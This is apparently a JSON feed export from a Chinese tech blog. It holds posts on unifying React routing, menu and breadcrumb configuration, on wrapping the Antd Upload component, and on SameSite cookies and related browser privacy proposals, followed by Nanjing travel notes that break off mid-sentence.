target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noreferrer noopener\u0026#34;\u0026gt;{title}\u0026lt;/a\u0026gt; ) : ( \u0026lt;Link to={path}\u0026gt;{title}\u0026lt;/Link\u0026gt; )} \u0026lt;/Menu.Item\u0026gt; ); export default function({route}) { return ( \u0026lt;Layout\u0026gt; \u0026lt;Layout.Header\u0026gt; Header \u0026lt;/Layout.Header\u0026gt; \u0026lt;Layout\u0026gt; \u0026lt;Layout.Sider\u0026gt; \u0026lt;NavMenu /\u0026gt; \u0026lt;/Layout.Sider\u0026gt; \u0026lt;Layout.Content\u0026gt; {renderRoutes(route.routes)} \u0026lt;/Layout.Content\u0026gt; \u0026lt;/Layout\u0026gt; \u0026lt;/Layout\u0026gt; ); }; 面包屑 面包屑的难点在于我们需要根据当前页面路由，不仅找到当前路由，还需要找到它的各种父级路由。\n除了定义一个 findCrumb() 方法来查找路由之外，为了方便查找，还在配置上做了一些约定。\n如果两个路由是父子关系，那么他们的路由路径也需要是包含关系。例如商品列表和商品详情是父子路由关系，商品列表的路径是 /goods，那么商品详情的路由则应该为 /goods/:id。\n这样在递进匹配查找的过程中，只需要判断当前页面路由是否包含该路径即可，减小了查找的难度。\n另外还有一个问题大家可能会注意到，商品详情的路由路径是 /goods/:id，由于带有命名参数，当前路由去做字符串匹配的话肯定是没办法匹配到的。所以需要对命名参数进行正则通配符化，方便做路径的匹配。\n命名参数除了影响路径查找之外，还会影响面包屑的链接生成。\n由于带有命名参数，我们不能在面包屑中直接使用该路径作为跳转路由。为此我们还需要写一个 stringify() 方法，通过当前路由获取到所有的参数列表，并对路径中的命名参数进行替换。\n这也是为什么之前我们需要将父子路由的路径定义成包含关系。子路由在该条件下肯定会包含父级路径中所需要的参数，极大的方便我们父级路由的生成。\n//src/components/breadcrumb.tsx import React, { useMemo } from \u0026#39;react\u0026#39;; import { Breadcrumb as OBreadcrumb, BreadcrumbProps } from \u0026#39;antd\u0026#39;; import { useHistory, useLocation, useParams } from \u0026#39;react-router\u0026#39;; import Routers, { PathConfig } from \u0026#39;../router-config\u0026#39;; function findCrumb(routers: PathConfig[], pathname: string): PathConfig[] { const ret: PathConfig[] = []; const router = routers.filter(({ path }) =\u0026gt; path !== \u0026#39;/\u0026#39;).find(({ path }) =\u0026gt; new RegExp(`^${path.replace(/\\:[a-zA-Z]+/g, \u0026#39;.+?\u0026#39;).replace(/\\//g, \u0026#39;\\\\/\u0026#39;)}`, \u0026#39;i\u0026#39;).test(pathname) ); if (!router) { return ret; } ret.push(router); if (Array.isArray(router.children)) { ret.push(...findCrumb(router.children, pathname)); } return ret; } function stringify(path: string, params: Record\u0026lt;string, string\u0026gt;) { return path.replace(/\\:([a-zA-Z]+)/g, (placeholder, key) =\u0026gt; params[key] || placeholder); } const Breadcrumb = React.memo\u0026lt;BreadcrumbProps\u0026gt;(props =\u0026gt; { const history = useHistory(); const params = useParams(); const location = useLocation(); const routers: PathConfig[] = useMemo\u0026lt;PathConfig[]\u0026gt;( () =\u0026gt; findCrumb(Routers, location.pathname).slice(1), [location.pathname] ); if (!routers.length || routers.length \u0026lt; 2) { return null; } const data = props.data ? props.data : routers.map(({ title: name, path }, idx) =\u0026gt; ({ name, onClick: idx !== routers.length - 1 ? () =\u0026gt; history.push(stringify(path, params)) : undefined, })); return ( \u0026lt;OBreadcrumb {...props}\u0026gt; {data.map(({name, onClick}) =\u0026gt; ( \u0026lt;Breadcrumb.Item key={name}\u0026gt; \u0026lt;span onClick={onClick}\u0026gt;{name}\u0026lt;/span\u0026gt; \u0026lt;/Breadcrumb.Item\u0026gt; ))} \u0026lt;/OBreadcrumb\u0026gt; ); }); export default Breadcrumb; 后记 至此我们的统一配置基本上就屡清楚了，我们发现只是简单的增加了几个属性，就让所有的配置统一到了一起。甚至我们可以更上一层楼，把 component 这个配置进行声明化，最终的配置如下：\n//router-config.json [ { path: \u0026#34;/goods\u0026#34;, exact: true, title: \u0026#34;商品列表\u0026#34;, component: \u0026#34;goods-list\u0026#34;, children: [ { path: \u0026#34;/goods/:id\u0026#34;, exact: true, title: \u0026#34;商品详情\u0026#34;, component: \u0026#34;goods-item\u0026#34; } ] } ] //router-config.tsx import React from \u0026#39;react\u0026#39;; import type { RouterConfig } from \u0026#39;react-router-config\u0026#39;; import routerConfig from \u0026#39;./router-config.json\u0026#39;; export interface PathConfig extends RouterConfig { menu?: boolean; permission?: string; children?: PathConfig[]; } export interface PathConfigRaw extends PathConfig { component?: string; children?: PathConfigRaw[]; } function Component(router: PathConfigRaw[]): PathConfig[] { return router.map(route =\u0026gt; { if(route.component) { const LazyComponent = React.lazy(() =\u0026gt; import(`./pages/${route.component}`)); route.component = ( \u0026lt;React.Suspense fallback=\u0026#34;loading...\u0026#34;\u0026gt; \u0026lt;LazyComponent /\u0026gt; \u0026lt;/React.Suspense\u0026gt; ); } if(Array.isArray(route.children)) { route.children = Component(route.children); } return route; }); } export const routers = Component(routerConfig); 将这些配置声明化，最大的好处是我们可以将其存储在后台配置中，通过后台菜单管理之类的功能对其进行各种管理配置。\n当然这种统一配置也不一定适合所有的场景，大家还是要具体问题具体分析。比如有同事和我反馈说微前端的场景里可能就不是特别合适，不管怎么统一配置，主应用和子应用中可能都需要分别存在一些配置。主应用需要菜单，子应用需要路由，这种时候可能稍微拆分一下反而更倒是合适的。\n","count":2506,"date":"2021年10月05日","featuredImage":"https://imnerd.org/assets/2021/router-menu-permission-breadcrumb-banner.png","permalink":"https://imnerd.org/router-menu-breadcrumb-permission-in-one-configure-file.html","summary":"\u003cp\u003e我最近做的一个新项目是一个典型的中后台项目，采用的是 React + React Router + Antd 方案。正常情况下我们需要定义路由配置，在页面中定义面包屑的数据，页面写完之后需要在左侧菜单中增加页面的路由。写多了之后，我会觉得同一个路由的相关信息在不同的地方重复声明，实在是有点麻烦，为什么我们不统一在一个地方定义，然后各个使用的地方动态获取呢？\u003c/p\u003e","time":6,"title":"统一路由、菜单、面包屑和权限配置"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"前言 我们的后台系统都是基于 Antd Design 开发的。最近做的新系统里有比较多的场景需要使用到附件上传的功能，我们针对 Antd 的 \u0026lt;Upload /\u0026gt; 组件在项目里进行了业务的封装。过程中也碰到些问题，遂总结于本文中。\n基本使用 我们主要是用到了它多文件上传和功能。\nimport React from \u0026#39;react\u0026#39;; import { Upload } from \u0026#39;antd\u0026#39;; return () =\u0026gt; { const [fileList, setFileList] = useState([ { uid: \u0026#39;1\u0026#39;, name: \u0026#39;1.txt\u0026#39;, status: \u0026#39;done\u0026#39;, url: \u0026#39;https://www.baidu.com\u0026#39;, }, ]); const handleChange = info =\u0026gt; { let fileList = info.fileList.slice(); fileList = fileList.map(file =\u0026gt; { if (file.response) { // Component will show file.url as link file.url = file.response.url; } return file; }); setFileList(fileList); }; return ( \u0026lt;Upload action=\u0026#34;https://www.mocky.io/v2/5cc8019d300000980a055e76\u0026#34; fileList={fileList} onChange={handleChange} /\u0026gt; ); }; 这是官方文档中提供的示例，我们可以通过 action 属性定义上传的地址，通过 onChange 获取上传后的文件地址以及 fileList 设置上传文件。其中 onChange 以及 fileList 参数类型如下。\nimport { RcFile as OriRcFile } from \u0026#39;rc-upload/es/interface\u0026#39;; export interface UploadFile\u0026lt;T = any\u0026gt; { uid: string; size?: number; name: string; fileName?: string; lastModified?: number; lastModifiedDate?: Date; url?: string; status?: UploadFileStatus; percent?: number; thumbUrl?: string; originFileObj?: RcFile; response?: T; error?: any; linkProps?: any; type?: string; xhr?: T; preview?: string; } export interface RcFile extends OriRcFile { readonly lastModifiedDate: Date; } export type UploadFileStatus = \u0026#39;error\u0026#39; | \u0026#39;success\u0026#39; | \u0026#39;done\u0026#39; | \u0026#39;uploading\u0026#39; | \u0026#39;removed\u0026#39;; export interface UploadChangeParam\u0026lt;T extends object = UploadFile\u0026gt; { // https://github.com/ant-design/ant-design/issues/14420 file: T; fileList: UploadFile[]; event?: { percent: number }; } UploadFile 是主要的类型，最外层是组件包装的一些数据，包括 status, percent 等用于记录下载状态字段。其中还有 response 字段，当下载完成 status === 'done' 的时候，该字段会存储服务端返回的相应数据。\n需求描述 中后台场景会有大量的表单场景，其中我们的大部分附件提交都是在表单之中。当然我们的表单也是使用的 Antd 组件。它提供了类似于原生 \u0026lt;form /\u0026gt; 的一套模式，你不需要关心表单的交互，当使用 \u0026lt;Form.Item name=\u0026quot;\u0026quot; /\u0026gt; 包裹之后，就会自动认为你是表单元素，在 onFinish 事件中可以达到所有提交后的表单数据。而通过initialValues 属性又可以对整个表单设置初值。简单的通过这两个属性就可以实现表单的大多数需求。\nimpoprt React from \u0026#39;react\u0026#39;; import {Form, Input, Upload} from \u0026#39;antd\u0026#39;; export default function() { const initialValues = { remark: \u0026#39;hello\u0026#39;, attachment: { attachmentNo: 1234, fileKey: 2345 } }; return ( \u0026lt;Form onFinish={onFinish} initialValues={initialValues}\u0026gt; \u0026lt;Form.Item name=\u0026#34;remark\u0026#34; label=\u0026#34;说明\u0026#34;\u0026gt; \u0026lt;Input.Textarea /\u0026gt; \u0026lt;/Form\u0026gt; \u0026lt;Form.Item name=\u0026#34;attachment\u0026#34; label=\u0026#34;附件\u0026#34;\u0026gt; \u0026lt;Upload /\u0026gt; \u0026lt;/Form\u0026gt; \u0026lt;Button\u0026gt;提交\u0026lt;/Button\u0026gt; \u0026lt;/Form\u0026gt; ); } 这套表单的方式让上层交互变的非常纯粹，所以我期望我们封装的组件也最好能适配这套逻辑。而这里的矛盾点在于，我们需要的是 UploadFile['response']['data'] 中的数据，但是当我们要给它赋值的时候，它接收的是 UploadFile[] 的数据格式。所以除了封装业务的配置之外，还需要将数据格式转换的逻辑封装进去。\n思考实现 最开始我想的设想类似于下面这个 Demo，只需要定义 uploadFile2value 和 value2UploadFile 两个方法，用于处理数据的双向转换即可。\nimport { Upload } from \u0026#39;antd\u0026#39;; const Upload = React.memo(({onChange}) =\u0026gt; ( \u0026lt;Upload fileList={value2UploadFile} onChange={e =\u0026gt; onChange(uploadFile2value(e.fileList))} /\u0026gt; )); 但是我没想到的是，文件上传是一个异步的过程，最终 onChange 接收到的 fileList 数据是一组多状态数据的集合，具体的状态列表如下。\nexport type UploadFileStatus = \u0026#39;error\u0026#39; | \u0026#39;success\u0026#39; | \u0026#39;done\u0026#39; | \u0026#39;uploading\u0026#39; | \u0026#39;removed\u0026#39;; 根据预期效果，显然我想要的是 status=done 后的数据。而如果我在 uploadFile2value 中对数据做过滤仅将 status=done 的数据返回给出去的话，在之后的渲染中 initialValues 传过来的初始数据中则不包含其它状态的数据了，会导致传入的 fileList 数据异常。这样我们就陷入了一种死循环，刚上传文件文件状态是 uploading 然后被 onChange 过滤为空数据传出，之后空数据作为初始数据再次被传入上传中的文件状态丢失组件回复到初始状态……\n最终实现 后台维护组件库的小伙伴提醒了我，既然组件本身需要所有的数据，而外部只需要上传完成的数据，那我们可以考虑将所有的数据在组件内部自行维护，仅将外部组件需要的数据传递出去。当外部数据传入进来的时候，将其与内部数据做合并即可。\nimport React, { useEffect, useState } from \u0026#39;react\u0026#39;; import { Upload } from \u0026#39;antd\u0026#39;; const value2UploadFile = record =\u0026gt; ({ uid: record.id, name: record.name, status: \u0026#39;done\u0026#39;, response: { code: 0, msg: \u0026#39;\u0026#39;, data: record } }); function useUpload(files, onChange) { const [filePool,setFilePool] = useState([]); useEffect(() =\u0026gt; { if(!Array.isArray(files) || files.length === 0) { return; } setFilePool(filePool =\u0026gt; { const fileIds = filePool.filter(({status}) =\u0026gt; status === \u0026#39;done\u0026#39;).map(file =\u0026gt; file.response?.data?.id); const appendFiles = files.filter(({id}) =\u0026gt; !fileIds.includes(id)).map(value2UploadFile); return [...filePool, ...appendFiles]; }); }, [files]); const handleUploadChange = ({fileList}) =\u0026gt; { fileList.filter(({status, response}) =\u0026gt; status === \u0026#39;done\u0026#39; \u0026amp;\u0026amp; response.code !== 0 ).forEach(file =\u0026gt; { file.status = \u0026#39;error\u0026#39;; }); setFilePool(fileList); const doneFiles = fileList.filter(({status}) =\u0026gt; status === \u0026#39;done\u0026#39;).map(file =\u0026gt; file.response.data); onChange(doneFiles); } return [filePool, handleUploadChange]; } export default function({value, onChange, ...props}) { const [filePool, onFileChange] = useUpload(value, onChange); return ( \u0026lt;Upload listType=\u0026#34;picture\u0026#34; btnType=\u0026#34;default\u0026#34; btnText=\u0026#34;上传文件\u0026#34; {...props} fileList={filePool} onChange={handleUploadChange} withCredentials action=\u0026#34;/api/file/upload\u0026#34; /\u0026gt; ); } 可以看到我们内部增加了 filePool 的状态用来存储数据，每次内部都会全量的存储待上传的文件列表，但是最终调用外部的 onChange 方法回传出去的时候则只会传出 status=done 的数据。而针对赋值的场景，我们鉴定了 files 的变化，根据最终返回数据的 id 获取到 fileIds 内部已存在的文件，然后再使用这个和传入的数据进行 diff 比较，查看是否有新增的数据。如果存在新增的数据则将其转换成组件需要的数据格式后更新文件列表。\n通过以上操作，我们就将上传组件的逻辑封装在了内部组件中。甚至我们还能在内部增加当接口返回非 0 的 code 上传失败的时候我们会将组件数据状态修改为 error 而不是 done。最终外部组件不需要关心上传接口本身内部的逻辑，只需要关系上传之后得到的数据即可，达到了业务上传组件解耦的目的。\n","count":1730,"date":"2021年07月24日","featuredImage":"https://imnerd.org/assets/2021/custom-antd-upload-banner.jpeg","permalink":"https://imnerd.org/custom-upload-with-antd.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e我们的后台系统都是基于 \u003ca href=\"https://ant.design\"\u003eAntd Design\u003c/a\u003e 开发的。最近做的新系统里有比较多的场景需要使用到附件上传的功能，我们针对 Antd 的 \u003ccode\u003e\u0026lt;Upload /\u0026gt;\u003c/code\u003e 组件在项目里进行了业务的封装。过程中也碰到些问题，遂总结于本文中。\u003c/p\u003e","time":4,"title":"基于 Antd 封装业务 Upload 组件"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"在《Web 安全漏洞之 CSRF》中我们了解到，CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，诱使用户在第三方站点发起请求的行为。除了文中说的一些解决方式之外，标准还专门为 Cookie 增加了 SameSite 属性，用来规避该问题。Chrome 于 2015 年 6 月支持了该属性，Firefox 和 Safari 紧随其后也增加了支持。SameSite 属性有以下几个值：\nSameSite=None：无论是否跨站都会发送 Cookie SameSite=Lax：允许部分第三方请求携带 Cookie SameSite=Strict：仅允许同站请求携带 Cookie，即当前网页 URL 与请求目标 URL 完全一致 该属性适合所有在网页下的请求，包括但不限于网页中的 JS 脚本、图片、iframe、接口等页面内的请求。可以看到 None 是最宽松的，和之前的行为无异。而 Lax 和 Strict 都针对跨站的情况下做了限制。其中 Strict 最为严格，不允许任何跨站情况下携带该 Cookie。Lax 则相对宽松一点，允许了一些显式跳转后的 GET 行为携带。以下是一个带有 SameSite 属性的标准 Cookie 响应示例：\nSet-Cookie: name=lizheming; SameSite=None; Secure 需要注意的是，浏览器做了仅针对 HTTPS 域名才支持 SameSite=None 配置。所以如果你要设置 SameSite=None 的话，则必须还要携带 Secure 属性才行。\nSame Site Same Site 直译过来就是同站，它和我们之前说的同域 Same Origin 是不同的。两者的区别主要在于判断的标准是不一样的。一个 URL 主要有以下几个部分组成：\n可以看到同域的判断比较严格，需要 protocol, hostname, port 三部分完全一致。相对而言，Cookie 中的同站判断就比较宽松，主要是根据 Mozilla 维护的公共后缀表（Pulic Suffix List）使用有效顶级域名(eTLD)+1的规则查找得到的一级域名是否相同来判断是否是同站请求。\n例如 .org 是在 PSL 中记录的有效顶级域名，imnerd.org 则是一级域名。所以 https://blog.imnerd.org 和 https://www.imnerd.org 是同站域名。而 .github.io 也是在 PSL 中记录的有效顶级域名，所以 https://lizheming.github.io 和 https://blog.github.io 得到的一级域名是不一样的，他们两个是跨域请求。\n在类似 GitHub/GitLab Pages, Netlify, Vercel 这种提供子域名给用户建站的第三方服务中，eTLD 的这种同站判断特性往往非常有用。通过将原本是一级域的域名添加到 eTLD 列表中，从而让浏览器认为配有用户名的完整域名才是一级域，有效解决了不同用户站点的 Cookie 共享的问题。\neTLD eTLD 的全称是 effective Top-Level Domain，它与我们往常理解的 Top-Level Domain 顶级域名有所区别。eTLD 记录在之前提到的 PSL 文件中。而 TLD 也有一个记录的列表，那就是 Root Zone Database。RZD 中记录了所有的根域列表，其中不乏一些奇奇怪怪五花八门的后缀。\neTLD 的出现主要是为了解决 .com.cn, .com.hk, .co.jp 这种看起来像是一级域名的但其实需要作为顶级域名存在的场景。这里还可以分享一个有趣的事情，2020年5月份出现了一起阿里云所有 ac.cn 后缀网站解析全部挂掉的事件。原因就是 ac.cn 是中科院申请在册的 eTLD 域名。而阿里云的检测域名备案的脚本不了解规范，没有使用 PSL 列表去查找一级域名，而是使用了.分割的形式去查找的。最终所有 *.ac.cn 的域名由于 ac.cn 这个域名没有进行备案导致解析全部挂掉。而我们现在知道 ac.cn 这个域名是 eTLD 域名，它肯定是无法备案的。\nSchemeful Same Site 在 Chrome 86/Firefox 79 中，浏览器增加了一个 Schemeful Same Site 的选项，将协议也增加到了 Same Site 的判断规则中。但是并不是完全的不等判断，可以理解是否有 SSL 的区别。例如 http:// 和 https:// 跨站，但 wss:// 和 https:// 则是同站，ws:// 和 http:/ 也算是同站。\nChrome 可以浏览器输入 chrome://flags/#schemeful-same-site 找到配置并开启。\nLax 我们知道互联网广告通过在固定域 Cookie 下标记用户 ID，记录用户的行为从何达到精准推荐的目的。随着全球隐私问题的整治，同时也是为了更好的规避 CSRF 问题，在 Chrome 80 中浏览器将默认的 SameSite 规则从 SameSite=None 修改为 SameSite=Lax。设置成 SameSite=Lax 之后页面内所有跨站情况下的资源请求都不会携带 Cookie。由于不会为跨站请求携带 Cookie，所以 CSRF 的跨站攻击也无从谈起，广告商也无法固定用户的 ID 来记录行为。\n对用户来说这肯定是一件好事。但是对我们技术同学来说，这无疑是上游给我们设置的一个障碍。因为业务也确实会存在着多个域名的情况，并且需要在这些域名中进行 Cookie 传递。例如多站点使用 SSO 登录、接入统一的验证码服务、前端和服务端接口属于两个域名等等情况，都会因为这个修改受到影响。\n这个修改影响面广泛，需要网站维护者花大量的时间去修改适配。而 Chrome 80 于 2020 年 2 月发布后全球就开始面临新冠疫情的影响。考虑到疫情问题后续的版本里又暂时先回退了这个特性（相关链接），最终是在 Chrome 86 进行了全量操作。\n针对因为此次特性受到影响的网站，可以选择以下一些适配办法：\n使用 JWT 等其它非 Cookie 的通信方式 为 Cookie 增加 SameSite=None;Secure 属性配置 所有的跨域接口增加 Nginx 代理，使其和页面保持同域 每一种方法都需要一些取舍。第一种更换 Cookie 的方式改造成本非常高，特别是在有外部业务对接的情况下基本不可能。第三种方式通过将跨域变为同域的转发方式可能会带来线上流量的成倍增加，也是需要考虑的因素。第二种设置成 None 看起来是比较简单的办法，不过也有着诸多的限制。\nSameSite=None;Secure 由于仅支持 HTTPS 页面，所以如果有 HTTP 的场景需要考虑跳转至 HTTPS 或者选择其他方案； 由于 SameSite 属性是后来才加入的，一些老浏览器（其实就是 IE）会忽略带有这些属性的 Cookie，所以需要同时下发未配置 SameSite 属性和配置 SameSite 属性的两条 Set-Cookie 响应头，这样支持和不支持的会各取所需； 在 Safari 的某些版本中会将 SamteSite=None 等同于 SameSite=Strict 所以部分 Safari 场景需要特殊处理不进行下发（相关链接）； 综上使用代理转发的方式是我比较推荐的方式，除了不那么绿色之外兼容问题处理还是不错的。\nSameParty SameSite=Lax 断了我们跨站传递 Cookie 的念想，但实际业务上确实有这种场景。例如 Google 自己就有非常多的域名，这些域名如果都需要共享登录 Cookie 的话可能就会非常困难了。针对这种某个实体拥有多个域名需要共享 Cookie 的情况，就有人（那其实就是 Google 的同学）提出了 SameParty 的概念。\n该提案提出了 SameParty 新的 Cookie 属性，当标记了这个属性的 Cookie 可以在同一个主域下进行共享。那如何定义不同的域名属于同一主域呢？主要是依赖了另外一个特性 first-party-set 第一方集合。它规定在每个域名下的该 URL /.well-known/first-party-set 可以返回一个第一方域名的配置文件。在这个文件中你可以定义当前域名从属于哪个第一方域名，该第一方域名下有哪些成员域名等配置。\n当然使用固定 URL 会产生额外的请求，对页面的响应造成影响。也可以直接使用 Sec-First-Party-Set 响应头直接指定归属的第一方域名。\n不过 W3C TAG 小组已经强烈拒绝了该提案（来源）。W3C 认为该提案重新定义了网站沙箱的边界，带来的影响可能不仅仅只是 Cookie 共享这么简单，包括麦克风、摄像头、地理信息等隐私设置都需要去重新评估影响。\n同时该提案可能会和用户的预期不一致，如果 Google 和 Youtube 被定义成第一方网站进行共享的话，那 Google 就能很轻松的获取到用户在 Youtube 上的行为，可能用户并不想要这样。\nW3C TAG 小组全称是 Technical Architecture Group，即 W3C 技术架构组。TAG 是 W3C 专注于 Web 架构管理的特殊小组。其使命是为 Web 架构的设计原则寻求共识，且在必要时梳理并澄清这些设计原则，帮助协调 W3C 内部及外部跨越不同技术的架构定义与研发工作。基本可以认为它是 Web 基础规范定义的小组。另外万维网之父 Tim Berners-Lee 也在 TAG 小组中。\n不过 W3C 说的有理没理，都阻挡不了 Chrome 去实现这个功能。在 Chrome 89 中已经增加了 SameParty 的相关逻辑，只是目前没有默认开启。目前在 DevTools 中是可以看到 Cookie 的 SameParty 属性列的。Edge 由于使用了 Chromium 也在同版本支持了该功能。只掌管了规范，没有掌管实现，当某一方浏览器实现了“霸权”的情况下，W3C 的处境就变得尴尬了起来。\nFLoC SameSite 除了影响单实体多域名共享 Cookie 的情况，最大的问题其实就是互联网广告获取用户行为了。由于广告挂载页面和广告不在同域，所以广告无法获得用于标记用户 ID 从而对用户行为进行聚类。为了解决这个问题，有人（其实也是 Google 的同学）提出了 Federated Learning of Cohorts 同盟学习队列提案。\n有别于之前使用 Cookie ID 标记直接将用户行为数据传递到广告商网站处理的方式。它提出了 document.interestCohort() 这个新的 API，将用户的行为在本地转换成了不带个人隐私的关键词，既规避了用户隐私问题，同时又解决了广告的精准投放问题。\n不过这看似美好的东西却遭到了各大网站和浏览器的强力抵制，brav、Vivaldi、duckduckgo、GitHub 以及 Edge，Firefox，Safari（来源）都纷纷发表了拒绝支持的观点和行动。\n社区主要的担心点在于，新的特性的增加可能会增加特征值为隐私嗅探提供了更广阔的入口。而且通过该 API 能获取到之前碍于权限无法程序获取的用户浏览数据。目前 Chrome 已经支持了这个功能，不过需要开启 Flag 才能支持。amIFLoCed 是一个用来检测你的浏览器是否开启了 FLoC 追踪特性的网站，可以使用它检测你的浏览器是否应用该特性。\n后记 为了解决 CSRF 问题，Chrome 强推了 SameSite=Lax 作为默认配置。随之而来的，不仅是全球开发者的配合修改，还造成了已有场景的无法满足。而为了满足现有场景，又提出了 SameParty 和 FLoC 两个方案。这种行为不知能否成为浏览器的内卷行为？\nSameSite 属性本身是没有什么问题的，但个人认为它应该是一种 CSRF 问题的选择方案，浏览器将其默认修改成 SameSite=Lax 就有点难受了。大部分企业项目里都已经采用其他 CSRF 防范方式规避了该问题，而 Lax 配置又存在着兼容性问题，不能让我们完全免顾 CSRF 之忧。\n随着全球隐私问题的白热化，不知道还有什么新的提案搞出来需要我们全球开发者为其买单。\n参考资料：\n封面图来源 《SameSite cookies explained》 《SameSite cookie recipes》 《Schemeful Same-Site》 《Understanding \u0026ldquo;same-site\u0026rdquo; and \u0026ldquo;same-origin\u0026rdquo;》 https://www.chromestatus.com/feature/5088147346030592 https://www.chromium.org/updates/same-site https://hacks.mozilla.org/2020/08/changes-to-samesite-cookie-behavior/ ","count":3705,"date":"2021年06月03日","featuredImage":"https://imnerd.org/assets/2021/same-site-banner.png","permalink":"https://imnerd.org/samesite.html","summary":"\u003cp\u003e在\u003ca href=\"https://imnerd.org/web-security-vulnerability-csrf.html\"\u003e《Web 安全漏洞之 CSRF》\u003c/a\u003e中我们了解到，CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，诱使用户在第三方站点发起请求的行为。除了文中说的一些解决方式之外，标准还专门为 Cookie 增加了 \u003ccode\u003eSameSite\u003c/code\u003e 属性，用来规避该问题。Chrome 于 2015 年 6 月支持了该属性，Firefox 和 Safari 紧随其后也增加了支持。\u003ccode\u003eSameSite\u003c/code\u003e 属性有以下几个值：\u003c/p\u003e","time":8,"title":"SameSite 那些事"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":"前言 清明来了一次说走就走的旅行，去南京溜达了一圈。具体的每日见闻游记可见之前的几篇文章:\n南京行-Day 1 南京行-Day 2 南京行-Day 3 虽然过程有喜有乐，不过从行程上来看准备确实做的不充足，吃了很多亏。好在我们也是比较佛系的人，景点进不去那就不打卡了吧，人多排队那就换别家吧。这趟出行虽然有囧事，有累点，不过整体来看还是不错的。\n旅游 这次出门获得的宝贵经验，那就是出门旅行之前务必需要先搜索一下当地的景点是否需要预约，是否支持网上购票，提前做好准备避免到了景区发现无法进入的尴尬。\n这里列举一下我掌握的南京的一些旅游景点的相关讯息，如果大家有要去南京玩的可参考一二：\n南京大屠杀纪念馆不需要门票，但是需要提前预约，使用微信公众号”侵华日军南京大屠杀遇难同胞纪念馆“可以查看预约情况并预约。 总统府需要门票，可以使用携程等网上购票，具体链接可查看总统府官网： http://www.njztf.cn/business/index.sh。 玄武湖公园不需要门票，可以直接在携程上预约。 雨花台烈士陵园不需要门票，需要在携程等平台上提前预约。预约的时候有两个选项，分别是陵园预约和陵园+纪念馆套票预约。纪念馆还是值得一看的，第一次去建议选择套票预约。 吃住 我们住的地方是南京机场宾馆夫子庙店，设备比较新，房间内东西齐全，周边环境也不错。交通比较方便，离这些景区都不算太远。价格也还算 OK，最重要的是二楼就有南京当地的淮扬菜连锁店小厨娘，吃饭极其方便。除了隔音效果一般之外，给我的体验非常不错。推荐给有需要的同学。\n这次说老实话也没有特地去吃一些经典的菜，毕竟说实话大部分品类南京大牌档都有了，而且品种多都能吃到。盐水鸭确实还不错，鸭子做的不膻不腻肉质紧实多汁。另外鸭血粉丝汤里面的鸭肠可真是好吃呀~\n出行 南京水杉很多，所以看起来树木都很笔直高大，看起来很养眼。比起其他地方，南京路上的红绿灯极其的多，这点可能和台湾类似，基本是没两步路就有斑马线和红绿灯配套。这个对行人比较友好，对开车的人就不知道是否方便了。\n南京的路不算宽，路上的车辆也比较多，堵车情况从这几天来看似乎比起北京不逞多让，再加上在修地铁有些路口更是雪上加霜。到了景区附近更是车子动不动不了。\n不过可能因为我们住的离去的地方都不远的缘故，打车还挺省钱的。小伙伴用美团打车基本上都只要几块钱就能搞定了，真是惊呆我了。\n","count":974,"date":"2021年04月06日","featuredImage":"https://imnerd.org/assets/2021/nanking-1.png","permalink":"https://imnerd.org/nanking-2021-feeling.html","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e清明来了一次说走就走的旅行，去南京溜达了一圈。具体的每日见闻游记可见之前的几篇文章:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/nanking-day-1.html\"\u003e南京行-Day 1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/nanking-day-2.html\"\u003e南京行-Day 2\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/nanking-day-3.html\"\u003e南京行-Day 3\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e虽然过程有喜有乐，不过从行程上来看准备确实做的不充足，吃了很多亏。好在我们也是比较佛系的人，景点进不去那就不打卡了吧，人多排队那就换别家吧。这趟出行虽然有囧事，有累点，不过整体来看还是不错的。\u003c/p\u003e","time":2,"title":"南京行之游后感"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"今天是行程的最后一天，我们放弃了之前找的攻略路线，准备把之前两天没有逛到的总统府和雨花台补完下。这两个在小伙伴的努力下都已经提前预约了，应该是不能再出什么幺蛾子了。\n例行早起收了一波蚂蚁森林的能量之后把行李收拾好和小伙伴一块把房退了。不过因为我们还要出去玩，行李就暂时先寄存在宾馆了。吸取了昨天总统府旁边的早餐店排队盛况的教训，我们决定在宾馆附近吃完早餐再出发。附近找了一家看着还算干净的早餐店，豪放的狂点了一番后发现总价只有昨天早饭的一半，而且还比它更好吃，惹得小伙伴们纷纷对我们今天的机智点赞！\n二战总统府 打车去总统府，沿途依旧是熟悉的风景。可能是因为我们来的稍微晚了点，今天排队买票的人没有昨天那么多了。不过我们也没有功夫去称赞自己的机智了，我们昨天预定的时间是8:30-10:30，到地方一看就已经9:45了，赶紧汇入进去的人群。好在突然又开放了一个入口分流，让我们能按时进入景区，成功打卡南京行第二个景区。\n注：人不要太多的总统府\n本来小伙伴想着这种人文景点，豪放的请一个人工讲解会更有意思一点，奈何天不遂人愿，去咨询台一看人工讲解已然售罄。无奈的我们悄咪咪的尾随了一位讲解听了半路，有些讲解听起来着实有些意思。令我印象深刻的是太平天国的一幅画，洪秀全的妹妹站在比洪秀全更高处，表示了当时太平天国男女平等的观念，这个在那个年代还真是难得。\n注：总统府天下为公匾额\n参观完前院就到了蒋介石办公的地方了，这块人多地方窄，所有人比肩继踵的往前艰难行走着。上楼梯的时候前面的人踢到后面人的膝盖是在正常不过了，听小伙伴说甚至有小孩摔倒了一度造成了交通的堵塞。其实就是老式的办公室，说实在的没什么可看的，也不知为何吸引了这么多人。\n出来后就是一片花园。看着花园的白色围墙，想着昨天只能在墙外面眼巴巴的望着游园的人群心生羡慕的我们，再次感慨提前做攻略的重要性。花园的风景真是不错，成荫的绿树和似锦繁花相得益彰。中间还参观了一些国父孙中山的纪念馆，发现他居然只做了三个月的大总统，但是却给我们带来了巨大的影响，不由心生佩服。\n注：革命尚未成功，同志仍需努力\n不得不说总统府真的很大，后面的后花园之前是乾隆下江南的行宫，每栋建筑都